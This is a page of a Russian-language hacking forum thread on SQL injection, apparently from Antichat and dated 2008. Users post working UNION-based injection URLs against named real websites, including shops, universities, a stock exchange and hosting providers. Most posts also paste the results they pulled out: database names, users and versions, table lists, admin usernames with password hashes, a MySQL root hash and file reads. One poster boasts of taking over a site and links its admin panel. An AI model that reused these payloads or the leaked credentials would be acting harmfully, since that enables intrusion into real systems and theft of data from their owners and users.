SQL Инъекции

Discussion in 'Уязвимости' started by m0nzt3r, 4 Jul 2006.

Thread Status:
Not open for further replies.
Page 346 of 798
  1. j0ker13

    j0ker13 Elder - Старейшина

    Joined:
    28 Jul 2008
    Messages:
    199
    Likes Received:
    16
    Reputations:
    5
    http://www.unique.co.uk/pressview.php?ID=-1+union+select+1,2,concat_ws(0x3a,uname,pword),4,5+from+users--

    admin:b83dea104b4e116367c8477fc9b8740a
     
    #6901 j0ker13, 28 Nov 2008
  2. plutus

    plutus Member

    Joined:
    3 Nov 2008
    Messages:
    25
    Likes Received:
    8
    Reputations:
    1
    http://www.mapsoft.co.yu/dev/comersus/database/comersus.mdb [база]

    http://www.cyprushotelsdirect.com/info.php?hotelid=-159+union+select+version()--&showtab=overview
    4.1.22-standard

    http://bonjourvoyage.com/critik/review.php?hotelID=-1014+union+select+1,2,3,4,table_name,6,7,8,9+from+information_schema.tables--
    5.0.32-Debian_7etch1-log
    не было времени раскрутить.
     
    #6902 plutus, 28 Nov 2008
    Last edited: 28 Nov 2008
  3. Dobby007

    Dobby007 Elder - Старейшина

    Joined:
    7 Sep 2008
    Messages:
    52
    Likes Received:
    16
    Reputations:
    1
    megamaika.kz - магазин.
    http://www.megamaika.kz/index.php?content_id=5+UNI_ON+SELECT+1,CON_CAT(0x3C623E44617461626173653A3C2F623E20,Database(),0x3C62723E3C623E557365726E616D653A3C2F623E20,User(),0x3C62723E3C623E56657273696F6E3A3C2F423E20,Version()),3+LIMIT+1,1/*
    Database: megamaik_megamaika
    Username: megamaik_root@localhost
    Version: 4.1.21-standard


    З.Ы. Если кто раскрутит инъекцию дальше, буду только рад. Только просьба выложить сюда. А то сами понимаете - молодой еще, только учусь =)... Может чего-то и не учитываю :) НО там, насколько я понял, привелигии просто урезаны.

    aikyn.kz - партия чтоли какая-та. так и не понял =)
    http://www.aikyn.kz/site.php?lan=kaz&id=166&pub=21940+UNION+SELECT+1,2,3,4,5,6,7,8,9,10,11,CONCAT(0x3C623E44617461626173653A3C2F623E20,Database(),0x3C62723E3C623E557365726E616D653A3C2F623E20,User(),0x3C62723E3C623E56657273696F6E3A3C2F423E20,Version(),0x3C62723E3C623E446174613A3C2F623E20,table_name)+from%20information_schema.tables+LIMIT+18,1/*

    Ну здесь уже по-больше можно сделать. Хотя б к information_schema доступ имеется.

    Database: aikyn
    Username: aikyn@localhost
    Version: 5.0.45-community-nt

    Вот таблицы все:
    banners
    gallery
    modules
    news_kaz
    noc
    notes
    poll_kaz
    pub_kaz
    str_kaz
    themes
     
    #6903 Dobby007, 28 Nov 2008
    Last edited: 28 Nov 2008
  4. yarbabin

    yarbabin HACKIN YO KUT

    Joined:
    21 Nov 2007
    Messages:
    1,663
    Likes Received:
    916
    Reputations:
    363
    Code:
    http://www.ubcmedia.com/pressview.php?ID=-101+union+select+1,2,3,4,5/*
    4.1.20

    Code:
    http://www.uniquebroadcasting.com/pressview.php?ID=-15+union+select+1,2,3,4,5/*
    4.1.20

    Code:
    http://www.unique.co.uk/pressview.php?ID=-155+union+select+1,2,3,4,5/*
    4.1.20

    Code:
    http://www.barnabasventures.com/pressview.php?ID=-64+union+select+1,2,3,4,5,6,7/*

    Code:
    http://www.ubcmediagroup.com/pressview.php?ID=-166+union+select+1,2,3,4,5/*
    4.1.20

    ыы)) один и тот же сайт))

    //jOker13, ку)
     
    _________________________
    #6904 yarbabin, 28 Nov 2008
    Last edited: 28 Nov 2008
  5. plutus

    plutus Member

    Joined:
    3 Nov 2008
    Messages:
    25
    Likes Received:
    8
    Reputations:
    1
    Khartoum Stock Exchange

    http://www.ks e.com.sd/show_item_ar.php?id=-7+union+select+1,2,version(),4--&t=0

    5.0.51a-community-log :)

    http://www.attorn eys.si/index.php?page=archive&F=D&ID=-106+union+select+1,2,version(),4,5,6--
    5.0.45 :)

    http://press.keppelland.com.sg/article.asp?id=-384+union+select+1,2,3,4,5,version(),7--&q=4&y=2001
    4.0.21-debug-log
     
    #6905 plutus, 29 Nov 2008
    Last edited: 29 Nov 2008
  6. Dimi4

    Dimi4 Чайный пакетик

    Joined:
    19 Mar 2007
    Messages:
    750
    Likes Received:
    1,046
    Reputations:
    291
    [​IMG] karabin.com.ua


    Database Version: 5.0.22-standard
    Database name: karabin_db1
    User name: karabin_db1@localhost

    Code:
    Geen 9a60736ac38bb969ae574715a665fa69 (1230456789)
    [​IMG] naprokat.com.ua (213.186.116.231)
    Database Version: 5.0.22-standard
    Database name: karabin_db7
    User name: karabin_npr@localhost

    Code:
    http://naprokat.com.ua/board.php?parr=-6+union+select+1--
     
    #6906 Dimi4, 29 Nov 2008
    3 people like this.
  7. ThreeD

    ThreeD Banned

    Joined:
    25 Dec 2006
    Messages:
    128
    Likes Received:
    112
    Reputations:
    9
    www.hym.com.au

    http://www.hym.com.au/product-detail.php?id=-71+union+select+1,version(),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17/*

    4.1.25-Debian_mt1
     
    #6907 ThreeD, 29 Nov 2008
  8. geezer.code

    geezer.code Elder - Старейшина

    Joined:
    22 Jan 2007
    Messages:
    552
    Likes Received:
    358
    Reputations:
    90
    Оптечко
    Code:
    http://www.lahisam.uz/?lang=ru&id=09814%27+union+select+1,concat_ws(0x3a,lgn,psw,status),3,4,5+from+users+limit+0,1/*
    admin:fenixz:adm
     
    #6908 geezer.code, 29 Nov 2008
    2 people like this.
  9. serfertty

    serfertty Guest

    Reputations:
    0
    Code:
    http://rcnit.kz/index.php?p=-32+union+select+1,concat_ws(0x3a,id,login,pwd),3,4,5,6,7,8+from+rcnit_kz.auth--
    admin:279634
    Форум
    Code:
    Administrator:e6e62645328f659db3ffbd82cd537fa1;
8830b3439a6c7870f32087802997a82a;
     
    #6909 serfertty, 29 Nov 2008
  10. ThreeD

    ThreeD Banned

    Joined:
    25 Dec 2006
    Messages:
    128
    Likes Received:
    112
    Reputations:
    9
    Буржуйский хостинг​

    www.spoonohost.com​

    User::sphost_sphost@localhost
    Version::4.1.22-standard-log
    Database::sphost_main​
     
    #6910 ThreeD, 29 Nov 2008
    Last edited: 29 Nov 2008
    1 person likes this.
  11. Ponchik

    Ponchik Хлебо-булочное изделие

    Joined:
    30 Aug 2005
    Messages:
    687
    Likes Received:
    807
    Reputations:
    311
    gta.com.ua
    Code:
    http://gta.com.ua/news_details.phtml?news_id=-1+UNION+SELECT+1,2,3,4,concat_ws(0x3a,VERSION(),USER(),DATABASE())--
    5.0.51a-community:gtacom_gta@localhost:gtacom_gta
     
    #6911 Ponchik, 29 Nov 2008
    2 people like this.
  12. ..::TROYAN::..

    ..::TROYAN::.. Elder - Старейшина

    Joined:
    22 May 2008
    Messages:
    90
    Likes Received:
    116
    Reputations:
    14
    PHP:
    http://imei.org.ua/search.php?imei=-1+union+select+1,concat(user(),0x3a3a,database(),0x3a3a,version()),3,4,5,6,7,8/*
    slava@localhost::imei::4.1.21-log
    PHP:
    http://imei.org.ua/search.php?imei=-1+union+select+1,concat(host,0x3a3a,user,0x3a3a,password,0x3a3a,file_priv),3,4,5,6,7,8+from+mysql.user+limit+0,1/*
    localhost::root::*2679BA488B8CF696590C7C1D51804387761ECA94::Y

    p.s load_file() работает,вот только неполучилось прочитать конфиг=//
     
    #6912 ..::TROYAN::.., 30 Nov 2008
    Last edited: 30 Nov 2008
    1 person likes this.
  13. yarbabin

    yarbabin HACKIN YO KUT

    Joined:
    21 Nov 2007
    Messages:
    1,663
    Likes Received:
    916
    Reputations:
    363
    Code:
    http://www.peopleandplanet.net/section.php?section=-3+union+select+1,2,3,4,5/*
    5.0.27-standard
     
    _________________________
    #6913 yarbabin, 30 Nov 2008
    2 people like this.
  14. Iceangel_

    Iceangel_ Elder - Старейшина

    Joined:
    9 Jul 2006
    Messages:
    494
    Likes Received:
    532
    Reputations:
    158
    исключительно .edu...

    Code:
    http://review.antioch.edu/detail.php?id=815+union+select+1,2,version(),4,5,6,7--
    4.1.22-log
    ---------------------------------------------------------------------

    Code:
    http://www.choices.edu/resources/detail.php?id=-192+union+select+1,unhex(hex(version())),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28--
    4.1.14-log
    --------------------------------------------------------------------

    Department of Nuclear Physics
    Code:
    http://wwwrsphysse.anu.edu.au/nuclear/group.php?id=-6+union+select+1,version(),3,4,5,6--
    5.0.45
    --------------------------------------------------------------------

    Code:
    http://www.antioch-college.edu/news/releases/newsitem.php?id=63+union+select+1,2,3,version(),5,6,7,8--
    5.0.51a-community
    laslas:laslas не помню, откуда то вытащил ;)
    --------------------------------------------------------------------

    Code:
    http://www.uta.edu/ee/news/newsitem.php?id=-31+union+select+1,version(),3,4,5,6,7,8,9,10,11--
    5.0.45-log
    --------------------------------------------------------------------

    Code:
    http://www.westkentucky.kctcs.edu/newsitem.php?ID=83+union+select+1,2,version(),4,5,6--
    4.1.22-standard
     
    #6914 Iceangel_, 30 Nov 2008
    2 people like this.
  15. Ламоза

    Ламоза Member

    Joined:
    26 Jul 2008
    Messages:
    22
    Likes Received:
    7
    Reputations:
    0
    Сегодня Канада
    ----------------------
    5.0.41
    Code:
    http://www.loginstitute.ca/moreinfo.php?id=-8+union+select+1,2,load_file(0x2f7573722f6c6f63616c2f7777772f6c6f67696e737469747574652f61646d696e2f70656e64696e672e70687033),4,5,6,7/*
    захексено /usr/local/www/loginstitute/admin/pending.php3 - какая то левая админка :)

    5.0.45-log
    Code:
    http://www.cfsontario.ca/english/campaigns.php?id=-20+union+select+1,2,3,concat_ws(0x40,table_schema,table_name),5,6,7,8,9,10,11,12,13,14,15+from+information_schema.tables/*
    4.0.16-standard
    Code:
    http://www.gcc.ca/archive/article.php?id=-31+union+select+version(),2,3,4,5,6/*
    4.1.14-log
    Code:
    http://www.vancouver-ecodensity.ca/content.php?id=-42+union+select+1,2,unhex(hex(concat_ws(0x40,id,username,password))),4,5,6,7,8,9,10,11,12,13,14,15,16+from+members/*

    И чуть чуть Австралии
    4.1.21-log
    Code:
    http://www.australbrick.com.au/national/news_item.php?ID=-31794+union+select+version(),2,3/*
     
    #6915 Ламоза, 30 Nov 2008
  16. BanQui

    BanQui Elder - Старейшина

    Joined:
    10 Jul 2008
    Messages:
    68
    Likes Received:
    18
    Reputations:
    -11
    http://www.orizon-navigation.com/index.php?page=407&lang=1&id=-8+union+select+1,2,3,4,5,6,7,pass,9,name,11,12,13+from+orizon_db1.admin+limit+1,1--

    Админка

    http://orizon-navigation.com/admin/index.php

    Ток что пооимел сайт)) От сердца отрываю)) Учитесь нубы подбирать поля и таблицы у 4ый версий!!!
     
    #6916 BanQui, 1 Dec 2008
    Last edited: 1 Dec 2008
  17. BanQui

    BanQui Elder - Старейшина

    Joined:
    10 Jul 2008
    Messages:
    68
    Likes Received:
    18
    Reputations:
    -11
    http://www.velogearance.com/index.php?page=2&action=1&ride=-21+union+select+1,version(),3,4,5,6,7,8,9,10,11,12,13,14,15-- - Сопсно крутите сами! Версия самая легкая:
    5.0.51a-log

    Удачи! Время 3 часа ночи что-то глаза закрываются))
     
    #6917 BanQui, 1 Dec 2008
  18. plutus

    plutus Member

    Joined:
    3 Nov 2008
    Messages:
    25
    Likes Received:
    8
    Reputations:
    1
    http://www.visu algap.co.uk/index.php?page=show_artist_info&id=-4+union+select+1,2,3,4,concat_ws(0x3a,id,0x3a,ip,0x3a,country,0x3a,referer),6,7,8,9,10+from+site_log--
     
    #6918 plutus, 1 Dec 2008
  19. spherics

    spherics Elder - Старейшина

    Joined:
    14 Jan 2008
    Messages:
    190
    Likes Received:
    162
    Reputations:
    25
    Онлайн игры.
    В общем довольно много пользователей в таблице users свыше 7 тысяч.

    http://www.fallenswordguide.com/realms/detail.php?id=-5+union+select+version()/*

    Database Version: 5.0.27
    Database name: fallen_db
    User name: fallen_guide@localhost

    Table [users]
    userid
    username
    password
    level
    email
    reg_date
    style


    http://www.gothaguide.com/realms/detail.php?id=-124+union+select+version()/*

    Database Version: 5.0.27
    Database name: gothagui_db
    User name: gothagui_db@localhost
     
    #6919 spherics, 1 Dec 2008
    1 person likes this.
  20. spherics

    spherics Elder - Старейшина

    Joined:
    14 Jan 2008
    Messages:
    190
    Likes Received:
    162
    Reputations:
    25
    Магазинчик деталей на велосипеды хех. www.zipp.com

    http://www.zipp.com/wheels/detail.php?ID=- 5+union+select+1,2,3,4,5,version(),user(),8,9,10,11,12,13,14,15,16,17,18,19,20,21/*

    Database Version: 5.0.45
    Database name: Zipp
    User name: zipp@localhost
     
    #6920 spherics, 1 Dec 2008
    1 person likes this.
(You must log in or sign up to post here.)
Page 346 of 798
Thread Status:
Not open for further replies.
Language
English (US)
    ANTICHAT ™ © 2001-2027 Antichat Kft.